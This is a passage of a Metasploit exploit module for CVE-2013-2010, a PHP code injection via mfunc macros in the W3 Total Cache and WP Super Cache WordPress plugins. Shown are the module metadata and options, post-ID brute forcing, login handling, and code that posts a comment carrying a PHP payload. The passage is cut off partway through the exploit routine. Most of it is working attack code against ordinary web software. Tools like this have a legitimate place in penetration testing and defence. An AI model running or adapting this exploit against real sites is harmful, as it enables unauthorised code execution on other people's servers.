WP Super Cache 1.2 or older is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is needed in order to add the malicious comment. If the POSTID option isn't specified, then the module will automatically find or bruteforce one. Also, if anonymous comments aren't allowed, then a valid username and password must be provided. In addition, the "A comment is held for moderation" option on WordPress must be unchecked for successful exploitation. This module has been tested against WordPress 3.5 and W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'juan vazquez', # Metasploit module 'hdm', # Metasploit module 'Christian Mehlmauer' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2010' ], [ 'OSVDB', '92652' ], [ 'BID', '59316' ], [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ], [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ], [ 'WPVDB', '6622' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ ['Wordpress 3.5', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 17 2013' )) register_options( [ OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) register_advanced_options( [ OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]), OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000]) ]) end def require_auth? @user = datastore['USERNAME'] @password = datastore['PASSWORD'] if @user and @password and not @user.empty? and not @password.empty? return true else return false end end def post_comment(text) php_payload = "#{text}" if @auth uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie) else author = rand_text_alpha(8) author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com" author_url = rand_text_alpha(8) uri = wordpress_post_comment_no_auth(php_payload, @post_id, author, author_email, author_url ) @unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url) end uri end def exploit unless wordpress_and_online? fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site") end @auth = require_auth? if @auth print_status("#{peer} - Trying to login...") @cookie = wordpress_login(@user, @password) if @cookie.nil? fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") end print_status("#{peer} - login successful") else print_status("#{peer} - Trying unauthenticated exploitation...") end if datastore['POSTID'] and datastore['POSTID'] != 0 @post_id = datastore['POSTID'] print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") else print_status("#{peer} - Trying to get posts from feed...") all_posts = wordpress_get_all_blog_posts_via_feed # First try all blog posts provided by feed if all_posts all_posts.each do |p| vprint_status("#{peer} - Checking #{p}...") enabled = wordpress_post_comments_enabled?(p, @cookie) @post_id = get_post_id_from_body(enabled) if @post_id print_status("#{peer} - Found Post POST ID #{@post_id}...") break end end end # if nothing found, bruteforce a post id unless @post_id print_status("#{peer} - Nothing found.
